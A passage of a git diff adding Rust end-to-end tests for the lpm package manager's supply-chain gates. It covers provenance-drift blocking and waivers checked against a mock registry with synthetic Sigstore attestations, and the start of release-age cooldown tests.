&["approve-builds", "--list"]); + let stdout = strip_ansi(&stdout); + assert!(status.success()); + assert!( + !stdout.contains("changes since"), + "first-time review must NOT emit a diff card. stdout={stdout}" + ); + + // JSON path: `version_diff` MUST be `null`. + let (_, json_stdout, _) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--list"], + ); + let json_stdout = strip_ansi(&json_stdout); + let parsed: serde_json::Value = serde_json::from_str(json_stdout.trim()) + .unwrap_or_else(|e| panic!("invalid JSON: {e}\nstdout:\n{json_stdout}")); + let entry = &parsed["blocked"][0]; + assert!( + entry["version_diff"].is_null(), + "first-time review must emit version_diff: null. entry={entry}" + ); +} diff --git a/crates/lpm-cli/tests/provenance_drift_p4_ship_criteria.rs b/crates/lpm-cli/tests/provenance_drift_p4_ship_criteria.rs new file mode 100644 index 00000000..d1be58a8 --- /dev/null +++ b/crates/lpm-cli/tests/provenance_drift_p4_ship_criteria.rs @@ -0,0 +1,825 @@ +//! Phase 46 P4 ship-criteria end-to-end tests. +//! +//! Exercises the full `lpm install` pipeline against a wiremock-backed +//! mock registry that serves BOTH the package metadata (with a +//! `dist.attestations.url` pointer) AND the attestation bundle itself, +//! to verify the §11 P4 drift gate + override flags land correctly at +//! the install-time check introduced in Chunk 3 / wired in Chunk 4. +//! +//! Covered: +//! +//! 1. Attestation deleted between approved v1 and candidate v2 → +//! `ProvenanceDropped` block (axios 1.14.1 scenario). +//! 2. `--ignore-provenance-drift ` unblocks the specific name. +//! 3. `--ignore-provenance-drift-all` unblocks every package. +//! 4. Identity change (publisher or workflow_path) → `IdentityChanged` +//! block. +//! 5. **Finding-1 E2E regression:** legitimate release bump (same +//! publisher + workflow_path, different workflow_ref + cert SHA) → +//! `NoDrift`, install proceeds. +//! 6. **D16 orthogonality guard:** `--allow-new` alone does NOT +//! bypass drift (cooldown and provenance are orthogonal). +//! 7. **Degraded-fetch reliability guard:** attestation URL returns +//! HTTP 500 → fetcher degrades to `Ok(None)`, comparator returns +//! `NoDrift`, install proceeds. A network blip must never falsely +//! claim drift. +//! 8. **No-approvals contract:** projects without any rich +//! `trustedDependencies` entries neither block nor emit a +//! blanket-waive advisory; install completes normally. +//! +//! ### Strong "unblocked" assertion (reviewer Finding 1 fix) +//! +//! Every "unblocked / no drift" test uses +//! `assert_drift_not_blocked_and_install_succeeded`, which checks +//! for both the absence of the drift-block message AND +//! `status.success()` AND a post-link completion marker in stdout. +//! A subprocess exiting non-zero for an unrelated reason cannot +//! masquerade as "drift gate let the install through" — the pipeline +//! must actually progress past the drift gate's downstream stages +//! (fetch + link) for the assertion to hold. +//! +//! Harness pattern lifted from `release_age_p3_ship_criteria.rs`: +//! start a `wiremock::MockServer`, spawn `lpm-rs` with +//! `LPM_REGISTRY_URL` pointed at the mock and `HOME` scoped to a +//! per-test temp dir. Two new pieces vs the P3 harness: (a) the +//! package metadata response carries `dist.attestations.url` pointing +//! at a second mock endpoint on the same server, (b) that endpoint +//! serves a synthetic Sigstore bundle with an rcgen-generated leaf +//! cert whose SAN URI encodes the desired `(publisher, workflow_path, +//! workflow_ref)`. The cert is ephemeral per test (fresh keypair) so +//! its SHA is not fixture-stable — which is fine; the drift comparator +//! explicitly excludes cert SHA from the identity tuple. + +use base64::Engine as _; +use base64::engine::general_purpose::STANDARD as BASE64; +use rcgen::{CertificateParams, Ia5String, KeyPair, SanType}; +use sha2::{Digest, Sha512}; +use std::fs; +use std::io::Write; +use std::path::{Path, PathBuf}; +use std::process::{Command, ExitStatus}; +use wiremock::matchers::{method, path}; +use wiremock::{Mock, MockServer, ResponseTemplate}; + +const PACKAGE_NAME: &str = "@lpm.dev/acme.widget"; +const APPROVED_VERSION: &str = "1.0.0"; +const CANDIDATE_VERSION: &str = "1.0.1"; + +// Publisher + workflow_path used throughout — stable identity tuple. +const APPROVED_PUBLISHER: &str = "github:acme/widget"; +const APPROVED_WORKFLOW_PATH: &str = ".github/workflows/publish.yml"; + +struct CommandOutput { + status: ExitStatus, + stdout: String, + stderr: String, +} + +struct MockRegistry { + server: MockServer, +} + +impl MockRegistry { + async fn start() -> Self { + Self { + server: MockServer::start().await, + } + } + + fn url(&self) -> String { + self.server.uri() + } + + /// Attestation-bundle URL this test will embed in the metadata + /// response. Kept on the same wiremock server for simplicity. + fn attestation_url_for(&self, version: &str) -> String { + format!("{}/-/attestations/{PACKAGE_NAME}@{version}", self.url()) + } + + /// Mount a single-version package. `attestation_shape` controls + /// whether (and how) `dist.attestations` is populated — this is + /// what the different ship-criteria tests vary. + async fn mount_package_version( + &self, + version: &str, + attestation_shape: AttestationShape, + ) -> Vec { + let tarball = make_minimal_tarball(version); + let dist_attestations = match &attestation_shape { + AttestationShape::NoField => None, + AttestationShape::UrlPresent { .. } => Some(serde_json::json!({ + "url": self.attestation_url_for(version), + "provenance": { "predicateType": "https://slsa.dev/provenance/v1" } + })), + }; + let metadata = package_metadata(&self.url(), version, &tarball, dist_attestations); + + // Single-package GET (also used by the P4 drift gate's + // per-package metadata lookup to extract dist.attestations). + Mock::given(method("GET")) + .and(path(format!("/api/registry/{PACKAGE_NAME}"))) + .respond_with(ResponseTemplate::new(200).set_body_json(metadata.clone())) + .mount(&self.server) + .await; + + // Batch-metadata POST (resolver's fresh-resolution path). + Mock::given(method("POST")) + .and(path("/api/registry/batch-metadata")) + .respond_with(ResponseTemplate::new(200).set_body_json({ + let mut packages = serde_json::Map::new(); + packages.insert(PACKAGE_NAME.to_string(), metadata.clone()); + serde_json::json!({ "packages": packages }) + })) + .mount(&self.server) + .await; + + // Tarball GET. + Mock::given(method("GET")) + .and(path(tarball_path(version))) + .respond_with( + ResponseTemplate::new(200) + .set_body_bytes(tarball.clone()) + .insert_header("content-type", "application/octet-stream"), + ) + .mount(&self.server) + .await; + + // Attestation-bundle endpoint. Shape depends on what the + // test is exercising. + if let AttestationShape::UrlPresent { resp } = attestation_shape { + let att_path = format!("/-/attestations/{PACKAGE_NAME}@{version}"); + let template = match resp { + AttestationResponse::SigstoreBundle { + publisher, + workflow_path, + workflow_ref, + } => { + // Reverse the SAN-URI parsing the drift fetcher + // does: `publisher = "github:/"` → + // URI `https://github.com///...`; + // `workflow_path = ".github/workflows/"` + // → URI segment `` after the + // `/.github/workflows/` delimiter. `workflow_ref` + // is appended with `@`. + let org_repo = publisher.strip_prefix("github:").unwrap_or(publisher); + let path_tail = workflow_path + .strip_prefix(".github/workflows/") + .unwrap_or(workflow_path); + let uri = format!( + "https://github.com/{org_repo}/.github/workflows/{path_tail}@{workflow_ref}", + ); + let der = cert_der_with_san_uri(&uri); + ResponseTemplate::new(200).set_body_json(sigstore_bundle_with_cert(&der)) + } + AttestationResponse::Http500 => { + ResponseTemplate::new(500).set_body_string("simulated transient failure") + } + }; + Mock::given(method("GET")) + .and(path(att_path)) + .respond_with(template) + .mount(&self.server) + .await; + } + + tarball + } +} + +/// How the metadata response's `dist.attestations` field is shaped. +enum AttestationShape { + /// `dist.attestations` is absent — the registry says "no + /// attestation for this version." This is the axios-case signal + /// against an approved-present reference. + NoField, + /// `dist.attestations.url` points at a mounted endpoint; the + /// `resp` shape controls what that endpoint returns. + UrlPresent { resp: AttestationResponse }, +} + +/// What the attestation-bundle endpoint responds with. +enum AttestationResponse { + /// A valid Sigstore bundle carrying a synthetic cert with a + /// deterministic SAN URI. + SigstoreBundle { + publisher: &'static str, + workflow_path: &'static str, + workflow_ref: &'static str, + }, + /// Simulated transient failure — the fetcher must degrade + /// (`Ok(None)`) and the drift comparator must treat as + /// `NoDrift`. + Http500, +} + +// ── Helpers: cert, bundle, metadata, tarball ───────────────────── + +fn cert_der_with_san_uri(uri: &str) -> Vec { + let mut params = CertificateParams::default(); + params.subject_alt_names = vec![SanType::URI(Ia5String::try_from(uri).unwrap())]; + let key_pair = KeyPair::generate().unwrap(); + let cert = params.self_signed(&key_pair).unwrap(); + cert.der().to_vec() +} + +fn sigstore_bundle_with_cert(der: &[u8]) -> serde_json::Value { + serde_json::json!({ + "mediaType": "application/vnd.dev.sigstore.bundle+json;version=0.2", + "verificationMaterial": { + "x509CertificateChain": { + "certificates": [ { "rawBytes": BASE64.encode(der) } ] + } + } + }) +} + +fn tarball_path(version: &str) -> String { + let slug = PACKAGE_NAME + .chars() + .map(|ch| if ch.is_ascii_alphanumeric() { ch } else { '-' }) + .collect::(); + format!("/tarballs/{slug}-{version}.tgz") +} + +fn package_metadata( + registry_url: &str, + version: &str, + tarball: &[u8], + attestations: Option, +) -> serde_json::Value { + let tarball_url = format!("{registry_url}{}", tarball_path(version)); + let integrity = compute_integrity(tarball); + + let mut dist = serde_json::json!({ + "tarball": tarball_url, + "integrity": integrity, + }); + if let Some(att) = attestations { + dist["attestations"] = att; + } + + let version_obj = serde_json::json!({ + "name": PACKAGE_NAME, + "version": version, + "dist": dist, + "dependencies": {}, + }); + + serde_json::json!({ + "name": PACKAGE_NAME, + "dist-tags": { "latest": version }, + "versions": { version: version_obj }, + // `time` — published far enough in the past that cooldown + // doesn't fire. The P4 drift gate is what this file + // exercises; leave the P3 gate as a no-op for these tests. + "time": { version: "2024-01-01T00:00:00.000Z" }, + }) +} + +fn compute_integrity(data: &[u8]) -> String { + let digest = Sha512::digest(data); + format!("sha512-{}", BASE64.encode(digest)) +} + +fn make_minimal_tarball(version: &str) -> Vec { + let mut builder = tar::Builder::new(Vec::new()); + + let package_json = serde_json::json!({ + "name": PACKAGE_NAME, + "version": version, + "main": "index.js", + }); + let package_json_bytes = serde_json::to_vec_pretty(&package_json).unwrap(); + let mut header = tar::Header::new_gnu(); + header.set_path("package/package.json").unwrap(); + header.set_size(package_json_bytes.len() as u64); + header.set_mode(0o644); + header.set_cksum(); + builder.append(&header, &package_json_bytes[..]).unwrap(); + + let index_js = b"module.exports = {};\n"; + let mut header = tar::Header::new_gnu(); + header.set_path("package/index.js").unwrap(); + header.set_size(index_js.len() as u64); + header.set_mode(0o644); + header.set_cksum(); + builder.append(&header, &index_js[..]).unwrap(); + + let tar_bytes = builder.into_inner().unwrap(); + let mut encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::default()); + encoder.write_all(&tar_bytes).unwrap(); + encoder.finish().unwrap() +} + +// ── Helpers: project fixture ───────────────────────────────────── + +fn project_dir(name: &str) -> PathBuf { + let dir = std::env::temp_dir() + .join("lpm-provenance-drift-p4-ship") + .join(format!("{name}.{}", std::process::id())); + let _ = fs::remove_dir_all(&dir); + fs::create_dir_all(&dir).unwrap(); + dir +} + +/// Parameters that shape the approved `TrustedDependencyBinding` +/// written into `package.json > lpm > trustedDependencies`. +struct ApprovedRefShape { + approved_version: &'static str, + publisher: Option<&'static str>, + workflow_path: Option<&'static str>, + workflow_ref: Option<&'static str>, + /// If `None`, the binding carries no `provenanceAtApproval` field + /// (pre-P4 / legacy approval — comparator returns `NoDrift`). + has_provenance: bool, +} + +fn write_manifest_with_approval(dir: &Path, approval: ApprovedRefShape) { + let mut binding = serde_json::json!({ + "integrity": "sha512-placeholder", + "scriptHash": "sha256-placeholder", + }); + + if approval.has_provenance { + let mut snap = serde_json::Map::new(); + snap.insert("present".into(), serde_json::Value::Bool(true)); + if let Some(p) = approval.publisher { + snap.insert("publisher".into(), serde_json::Value::String(p.into())); + } + if let Some(p) = approval.workflow_path { + snap.insert("workflowPath".into(), serde_json::Value::String(p.into())); + } + if let Some(r) = approval.workflow_ref { + snap.insert("workflowRef".into(), serde_json::Value::String(r.into())); + } + binding["provenanceAtApproval"] = serde_json::Value::Object(snap); + } + + let mut rich = serde_json::Map::new(); + rich.insert( + format!("{PACKAGE_NAME}@{}", approval.approved_version), + binding, + ); + + let manifest = serde_json::json!({ + "name": "provenance-drift-p4-test", + "version": "1.0.0", + "dependencies": { + PACKAGE_NAME: CANDIDATE_VERSION, + }, + "lpm": { + // P3 cooldown is disabled for these tests so the + // provenance gate is exercised in isolation. + "minimumReleaseAge": 0, + "trustedDependencies": rich, + }, + }); + + fs::write( + dir.join("package.json"), + serde_json::to_string_pretty(&manifest).unwrap(), + ) + .unwrap(); +} + +/// Write a manifest whose `trustedDependencies` is empty — the drift +/// gate's zero-cost short-circuit should fire (no approval reference +/// exists for this package name). +fn write_manifest_without_approval(dir: &Path) { + let manifest = serde_json::json!({ + "name": "provenance-drift-p4-test", + "version": "1.0.0", + "dependencies": { + PACKAGE_NAME: CANDIDATE_VERSION, + }, + "lpm": { + "minimumReleaseAge": 0, + }, + }); + fs::write( + dir.join("package.json"), + serde_json::to_string_pretty(&manifest).unwrap(), + ) + .unwrap(); +} + +fn run_lpm(cwd: &Path, args: &[&str], registry_url: &str) -> CommandOutput { + let exe = env!("CARGO_BIN_EXE_lpm-rs"); + let home = cwd.join(".home"); + fs::create_dir_all(&home).unwrap(); + + let mut command = Command::new(exe); + command + .args(args) + .current_dir(cwd) + .env("HOME", &home) + .env("NO_COLOR", "1") + .env("LPM_NO_UPDATE_CHECK", "1") + .env("LPM_DISABLE_TELEMETRY", "1") + .env("LPM_FORCE_FILE_VAULT", "1") + .env("LPM_REGISTRY_URL", registry_url) + .env_remove("LPM_TOKEN") + .env_remove("RUST_LOG"); + + let output = command.output().expect("failed to spawn lpm-rs"); + CommandOutput { + status: output.status, + stdout: String::from_utf8_lossy(&output.stdout).to_string(), + stderr: String::from_utf8_lossy(&output.stderr).to_string(), + } +} + +/// Assertion helper: on failure, always dump exit + stdout + stderr. +fn fail_with_context(out: &CommandOutput, what_failed: &str) -> ! { + panic!( + "{what_failed}\n exit: {:?}\n stdout:\n{}\n stderr:\n{}", + out.status.code(), + out.stdout, + out.stderr, + ); +} + +/// The drift block message is the install gate's user-visible signal +/// of a §7.2 block. Presence confirms the gate fired AND produced a +/// blocking verdict; absence confirms either no drift or a waiver. +fn drift_block_message_present(out: &CommandOutput) -> bool { + let combined = format!("{}{}", out.stdout, out.stderr); + combined.contains("blocked by provenance drift") + || combined.contains("package(s) blocked by provenance drift") +} + +fn assert_drift_blocked(out: &CommandOutput) { + if out.status.success() { + fail_with_context(out, "install must fail with a drift block"); + } + if !drift_block_message_present(out) { + fail_with_context(out, "output must name the drift block"); + } +} + +/// The install pipeline emits `Installed N packages` (or the JSON +/// equivalent) ONLY after every stage past the drift gate has +/// succeeded: fetch, link, post-install bookkeeping, lockfile write. +/// Checking for the marker — in addition to exit status — gives us a +/// positive signal that the run reached the post-gate phases, not +/// merely "the drift block message was absent for some other reason." +/// +/// Pre-existing P3 harness and Chunk 5's original helper both +/// checked absence only (reviewer Finding 1). This tighter form +/// asserts the unblocked tests actually prove what their names +/// claim. +fn install_completed_successfully(out: &CommandOutput) -> bool { + let combined = format!("{}{}", out.stdout, out.stderr); + // Post-link summary line. Format is ` N linked, M symlinked` on + // the human path; JSON mode emits `"success": true` in the top- + // level install report. Either proves the pipeline got past + // link, which in turn proves it got past the drift gate (gate + // fires BEFORE fetch/link). + combined.contains("linked") || combined.contains("\"success\":true") +} + +fn assert_drift_not_blocked(out: &CommandOutput) { + if drift_block_message_present(out) { + fail_with_context( + out, + "drift block message must NOT appear (gate should have passed or been waived)", + ); + } +} + +/// Stronger form: drift-block absent AND the install actually +/// completed end-to-end. Addresses reviewer Finding 1 — absence of +/// the drift message alone could mask an unrelated subprocess +/// failure that never reached the drift gate. +/// +/// Used by every "unblocked / no drift" test so the absence +/// assertion is never interpreted as proof of forward progress on +/// its own. +fn assert_drift_not_blocked_and_install_succeeded(out: &CommandOutput) { + assert_drift_not_blocked(out); + if !out.status.success() { + fail_with_context( + out, + "install must exit 0 to prove progress past the drift gate", + ); + } + if !install_completed_successfully(out) { + fail_with_context( + out, + "install must emit a post-link success marker to prove the pipeline reached \ + stages after the drift gate", + ); + } +} + +// ── Shared builders for each test's shape ───────────────────────── + +async fn setup_drift_scenario_approved_present_candidate_absent( + test_name: &str, +) -> (PathBuf, MockRegistry) { + let dir = project_dir(test_name); + write_manifest_with_approval( + &dir, + ApprovedRefShape { + approved_version: APPROVED_VERSION, + publisher: Some(APPROVED_PUBLISHER), + workflow_path: Some(APPROVED_WORKFLOW_PATH), + workflow_ref: Some("refs/tags/v1.0.0"), + has_provenance: true, + }, + ); + let mock = MockRegistry::start().await; + // Candidate version has NO `dist.attestations` — axios pattern. + mock.mount_package_version(CANDIDATE_VERSION, AttestationShape::NoField) + .await; + (dir, mock) +} + +async fn setup_drift_scenario_identity_changed(test_name: &str) -> (PathBuf, MockRegistry) { + let dir = project_dir(test_name); + write_manifest_with_approval( + &dir, + ApprovedRefShape { + approved_version: APPROVED_VERSION, + publisher: Some(APPROVED_PUBLISHER), + workflow_path: Some(APPROVED_WORKFLOW_PATH), + workflow_ref: Some("refs/tags/v1.0.0"), + has_provenance: true, + }, + ); + let mock = MockRegistry::start().await; + mock.mount_package_version( + CANDIDATE_VERSION, + AttestationShape::UrlPresent { + resp: AttestationResponse::SigstoreBundle { + // DIFFERENT publisher — "repo moved to an attacker + // fork" scenario. Same workflow_path; comparator + // must catch the publisher change alone. + publisher: "github:attacker/widget", + workflow_path: APPROVED_WORKFLOW_PATH, + workflow_ref: "refs/tags/v1.0.1", + }, + }, + ) + .await; + (dir, mock) +} + +async fn setup_legitimate_release_bump(test_name: &str) -> (PathBuf, MockRegistry) { + let dir = project_dir(test_name); + write_manifest_with_approval( + &dir, + ApprovedRefShape { + approved_version: APPROVED_VERSION, + publisher: Some(APPROVED_PUBLISHER), + workflow_path: Some(APPROVED_WORKFLOW_PATH), + workflow_ref: Some("refs/tags/v1.0.0"), + has_provenance: true, + }, + ); + let mock = MockRegistry::start().await; + mock.mount_package_version( + CANDIDATE_VERSION, + AttestationShape::UrlPresent { + resp: AttestationResponse::SigstoreBundle { + publisher: APPROVED_PUBLISHER, + workflow_path: APPROVED_WORKFLOW_PATH, + // Only the ref differs — legitimate release tag. + workflow_ref: "refs/tags/v1.0.1", + }, + }, + ) + .await; + (dir, mock) +} + +async fn setup_http500_fetch_degradation(test_name: &str) -> (PathBuf, MockRegistry) { + let dir = project_dir(test_name); + write_manifest_with_approval( + &dir, + ApprovedRefShape { + approved_version: APPROVED_VERSION, + publisher: Some(APPROVED_PUBLISHER), + workflow_path: Some(APPROVED_WORKFLOW_PATH), + workflow_ref: Some("refs/tags/v1.0.0"), + has_provenance: true, + }, + ); + let mock = MockRegistry::start().await; + mock.mount_package_version( + CANDIDATE_VERSION, + AttestationShape::UrlPresent { + resp: AttestationResponse::Http500, + }, + ) + .await; + (dir, mock) +} + +// ── §11 P4 ship criteria ────────────────────────────────────────── + +/// **§11 P4 primary ship criterion.** Package whose attestation is +/// manually deleted between approved v1 and candidate v2 → drift +/// blocks install. The axios 1.14.1 scenario, end-to-end. +#[tokio::test] +async fn attestation_deleted_between_approved_and_candidate_blocks() { + let (dir, mock) = + setup_drift_scenario_approved_present_candidate_absent("attestation_deleted").await; + + let out = run_lpm(&dir, &["install"], &mock.url()); + + assert_drift_blocked(&out); + // Verdict-specific: "provenance dropped" is the axios signal. + let combined = format!("{}{}", out.stdout, out.stderr); + if !combined.contains("provenance dropped") { + fail_with_context( + &out, + "block message must name the 'provenance dropped' verdict", + ); + } +} + +/// **§11 P4 ship criterion.** `--ignore-provenance-drift ` +/// unblocks the specific named package while leaving the rest of +/// the drift gate live. +#[tokio::test] +async fn ignore_provenance_drift_per_package_unblocks() { + let (dir, mock) = + setup_drift_scenario_approved_present_candidate_absent("ignore_per_package").await; + + let out = run_lpm( + &dir, + &["install", "--ignore-provenance-drift", PACKAGE_NAME], + &mock.url(), + ); + + // Per-package waiver must let the install complete end-to-end, + // not merely suppress the drift-block message. The stronger + // assertion catches regressions where the install fails at a + // different stage (e.g., fetch, link) that could leave the + // drift-block message absent for unrelated reasons. + assert_drift_not_blocked_and_install_succeeded(&out); + let combined = format!("{}{}", out.stdout, out.stderr); + if !combined.contains("waived by --ignore-provenance-drift") { + fail_with_context( + &out, + "waived-advisory line must appear so the user sees what they opted out of", + ); + } +} + +/// **§11 P4 ship criterion.** `--ignore-provenance-drift-all` +/// blankets every package with a single flag. Separate test from the +/// per-package variant so CI can tell which specific code path +/// regressed if one branch silently reverts. +#[tokio::test] +async fn ignore_provenance_drift_all_unblocks() { + let (dir, mock) = setup_drift_scenario_approved_present_candidate_absent("ignore_all").await; + + let out = run_lpm( + &dir, + &["install", "--ignore-provenance-drift-all"], + &mock.url(), + ); + + assert_drift_not_blocked_and_install_succeeded(&out); + // The `-all` short-circuit advisory fires before the per-package + // loop; it must appear even when no package would otherwise have + // drifted (users explicitly asked for the opt-out). + let combined = format!("{}{}", out.stdout, out.stderr); + if !combined.contains("waived for this install by --ignore-provenance-drift-all") { + fail_with_context( + &out, + "the short-circuit advisory must announce the blanket waive", + ); + } +} + +/// **§11 P4 identity-drift case.** Both versions carry attestations, +/// but the publisher differs (repo moved to an attacker fork in a +/// hypothetical SCM handoff). Drift blocks. +#[tokio::test] +async fn identity_changed_between_approved_and_candidate_blocks() { + let (dir, mock) = setup_drift_scenario_identity_changed("identity_changed").await; + + let out = run_lpm(&dir, &["install"], &mock.url()); + + assert_drift_blocked(&out); + let combined = format!("{}{}", out.stdout, out.stderr); + if !combined.contains("publisher identity changed") { + fail_with_context( + &out, + "block message must name the 'publisher identity changed' verdict", + ); + } +} + +/// **§11 P4 Finding-1 E2E regression.** A legitimate v1.0.0 → +/// v1.0.1 release from the same repo + same workflow file +/// necessarily differs on `workflow_ref` (release tag) AND +/// `attestation_cert_sha256` (Fulcio's ephemeral leaf). The +/// comparator's identity tuple excludes both fields by design. If +/// this test ever regresses, every legitimate patch bump will hard- +/// block — catastrophic for the gate's usability. Guards the +/// comparator fix in eec6312. +#[tokio::test] +async fn legitimate_release_bump_does_not_drift() { + let (dir, mock) = setup_legitimate_release_bump("legitimate_bump").await; + + let out = run_lpm(&dir, &["install"], &mock.url()); + + // Stronger assertion: drift-block absent AND install completed. + // Critical for this case specifically — the legitimate-bump + // scenario is exactly when users depend on the install + // SUCCEEDING, not just not-blocking. A regression that caused + // the install to fail at a downstream stage (after the drift + // gate but before completion) would have the same "drift + // message absent" shape without delivering the install. + assert_drift_not_blocked_and_install_succeeded(&out); +} + +/// **D16 orthogonality guard.** `--allow-new` is the P3 cooldown +/// override; per D16 it does NOT bypass the P4 drift gate. A user +/// who passes only `--allow-new` on a drifted install must still be +/// blocked by drift. If this test ever fails, D16 is broken — the +/// two gates have silently merged and users can't independently +/// acknowledge each signal. +#[tokio::test] +async fn allow_new_alone_does_not_bypass_drift() { + let (dir, mock) = + setup_drift_scenario_approved_present_candidate_absent("allow_new_does_not_bypass").await; + + let out = run_lpm(&dir, &["install", "--allow-new"], &mock.url()); + + assert_drift_blocked(&out); +} + +/// **Reliability guard.** A transient network failure (HTTP 500 from +/// the attestation endpoint) must NOT be conflated with +/// "provenance dropped." The fetcher degrades to `Ok(None)`, the +/// comparator returns `NoDrift`, the install proceeds. A CI that +/// hits a rate-limited Sigstore should never produce a spurious +/// drift block. Guards the `(Some(_), None) → NoDrift` branch in +/// `lpm_security::provenance::check_provenance_drift`. +#[tokio::test] +async fn degraded_fetch_does_not_falsely_block() { + let (dir, mock) = setup_http500_fetch_degradation("degraded_fetch").await; + + let out = run_lpm(&dir, &["install"], &mock.url()); + + // Stronger form: drift-block absent AND install completed. A + // regression where the fetcher raised instead of degrading would + // have plausibly hidden behind "message absent" alone. + assert_drift_not_blocked_and_install_succeeded(&out); +} + +/// **Observable contract for no-approvals projects.** When the +/// project has no rich `trustedDependencies` entries, the drift +/// gate's externally-visible contract must hold: no drift-block +/// message, no blanket-waive advisory (the user did not pass +/// `--ignore-provenance-drift-all`), and the install completes +/// end-to-end. +/// +/// ## Why this test was renamed (reviewer Finding 2) +/// +/// The earlier name, `project_with_no_approvals_skips_drift_gate`, +/// claimed to guard the Chunk 3 `has_rich_approvals` short-circuit +/// optimization in `install.rs`. That optimization is a PURE +/// INTERNAL performance fast-path: the alternative (gate enters, +/// iterates packages, each returns `None` from +/// `provenance_reference_for_name`, no fetch fires) produces the +/// exact same external behavior. A runtime subprocess test cannot +/// distinguish "fast path taken" from "slow path with no matches" +/// without instrumentation (e.g., a `tracing` debug marker + log- +/// capturing harness) — and the reviewer was right to flag that +/// the old assertions would have passed equally under either +/// code path. +/// +/// This test now describes the actual observable contract: +/// absence of the block message, absence of the blanket-waive +/// advisory, AND install completion. Proving the specific +/// short-circuit optimization is deferred to a future +/// tracing-based harness if that ever becomes load-bearing enough +/// to warrant it. +#[tokio::test] +async fn project_with_no_approvals_does_not_block_on_drift() { + let dir = project_dir("no_approvals"); + write_manifest_without_approval(&dir); + + let mock = MockRegistry::start().await; + mock.mount_package_version(CANDIDATE_VERSION, AttestationShape::NoField) + .await; + + let out = run_lpm(&dir, &["install"], &mock.url()); + + assert_drift_not_blocked_and_install_succeeded(&out); + + // The `-all` waive advisory must NOT fire (user didn't pass it). + let combined = format!("{}{}", out.stdout, out.stderr); + if combined.contains("waived for this install by --ignore-provenance-drift-all") { + fail_with_context( + &out, + "blanket waive advisory must only fire when the user passes --ignore-provenance-drift-all", + ); + } +} diff --git a/crates/lpm-cli/tests/release_age_p3_ship_criteria.rs b/crates/lpm-cli/tests/release_age_p3_ship_criteria.rs new file mode 100644 index 00000000..95e10746 --- /dev/null +++ b/crates/lpm-cli/tests/release_age_p3_ship_criteria.rs @@ -0,0 +1,447 @@ +//! Phase 46 P3 ship-criteria end-to-end tests. +//! +//! Exercises the full `lpm install` pipeline against a wiremock-backed +//! mock registry to verify the four §11 P3 ship criteria land correctly +//! at the cooldown gate in [`lpm_cli::commands::install::run_with_options`] +//! (install.rs:1646): +//! +//! 1. `--min-release-age=72h` blocks a fresh test package. +//! 2. `--allow-new` unblocks (independent bypass, orthogonal to the new flag). +//! 3. `~/.lpm/config.toml` key `minimum-release-age-secs` overrides the 24h default. +//! 4. `package.json > lpm > minimumReleaseAge` overrides the global config. +//! +//! Plus the §12.3 pin-bypass regression: an explicit version pin +//! (`@lpm.dev/acme.widget@1.0.0`) must still block during the cooldown +//! window. The v1 plan proposed pin-bypass; v2 rejected it per D7 in +//! the plan's decision log. This test guards that the rejected +//! behaviour never re-lands. +//! +//! Harness pattern is lifted verbatim from +//! `crates/lpm-cli/tests/upgrade_phase7_regression.rs`: start a +//! `wiremock::MockServer`, mount the single-package metadata endpoint +//! plus the batch-metadata endpoint, serve a real tarball, spawn the +//! `lpm-rs` binary with `LPM_REGISTRY_URL` pointing at the mock and +//! `HOME` scoped to a per-test temp dir (so the test doesn't read the +//! developer's `~/.lpm/config.toml`). + +use base64::Engine as _; +use base64::engine::general_purpose::STANDARD as BASE64; +use chrono::{SecondsFormat, Utc}; +use sha2::{Digest, Sha512}; +use std::fs; +use std::io::Write; +use std::path::{Path, PathBuf}; +use std::process::{Command, ExitStatus}; +use wiremock::matchers::{method, path}; +use wiremock::{Mock, MockServer, ResponseTemplate}; + +const PACKAGE_NAME: &str = "@lpm.dev/acme.widget"; +const VERSION: &str = "1.0.0"; + +struct CommandOutput { + status: ExitStatus, + stdout: String, + stderr: String, +} + +struct MockRegistry { + server: MockServer, +} + +impl MockRegistry { + async fn start() -> Self { + Self { + server: MockServer::start().await, + } + } + + fn url(&self) -> String { + self.server.uri() + } + + /// Mount a single-version package whose `time[VERSION]` is + /// `published_at`. The tarball is real (gzipped tar with a + /// minimal `package.json` + `index.js`) so the install pipeline + /// can complete past the cooldown gate in the bypass tests. + async fn mount_single_version(&self, published_at: &str) { + let tarball = make_minimal_tarball(); + let metadata = package_metadata(&self.url(), published_at, &tarball); + + // Single-package GET (used by the cooldown gate's metadata lookup). + Mock::given(method("GET")) + .and(path(format!("/api/registry/{PACKAGE_NAME}"))) + .respond_with(ResponseTemplate::new(200).set_body_json(metadata.clone())) + .mount(&self.server) + .await; + + // Batch-metadata POST (used by the resolver during fresh resolution). + Mock::given(method("POST")) + .and(path("/api/registry/batch-metadata")) + .respond_with(ResponseTemplate::new(200).set_body_json({ + let mut packages = serde_json::Map::new(); + packages.insert(PACKAGE_NAME.to_string(), metadata.clone()); + serde_json::json!({ "packages": packages }) + })) + .mount(&self.server) + .await; + + // Tarball GET (used by the fetch stage — only reached when the + // cooldown gate allows the install to proceed). + Mock::given(method("GET")) + .and(path(tarball_path())) + .respond_with( + ResponseTemplate::new(200) + .set_body_bytes(tarball.clone()) + .insert_header("content-type", "application/octet-stream"), + ) + .mount(&self.server) + .await; + } +} + +/// ISO-8601 UTC string representing `n_secs` seconds before now. The +/// LPM cooldown parser accepts `2025-01-01T00:00:00.000Z`-style ISO +/// strings (see [`lpm_security::parse_timestamp`]). +fn iso8601_n_secs_ago(n_secs: i64) -> String { + let dt = Utc::now() - chrono::Duration::seconds(n_secs); + dt.to_rfc3339_opts(SecondsFormat::Millis, true) +} + +fn tarball_path() -> String { + let slug = PACKAGE_NAME + .chars() + .map(|ch| if ch.is_ascii_alphanumeric() { ch } else { '-' }) + .collect::(); + format!("/tarballs/{slug}-{VERSION}.tgz") +} + +fn package_metadata(registry_url: &str, published_at: &str, tarball: &[u8]) -> serde_json::Value { + let tarball_url = format!("{registry_url}{}", tarball_path()); + let integrity = compute_integrity(tarball); + + let version_obj = serde_json::json!({ + "name": PACKAGE_NAME, + "version": VERSION, + "dist": { + "tarball": tarball_url, + "integrity": integrity, + }, + "dependencies": {}, + }); + + serde_json::json!({ + "name": PACKAGE_NAME, + "dist-tags": { "latest": VERSION }, + "versions": { VERSION: version_obj }, + "time": { VERSION: published_at }, + }) +} + +fn compute_integrity(data: &[u8]) -> String { + let digest = Sha512::digest(data); + format!("sha512-{}", BASE64.encode(digest)) +} + +fn make_minimal_tarball() -> Vec { + let mut builder = tar::Builder::new(Vec::new()); + + let package_json = serde_json::json!({ + "name": PACKAGE_NAME, + "version": 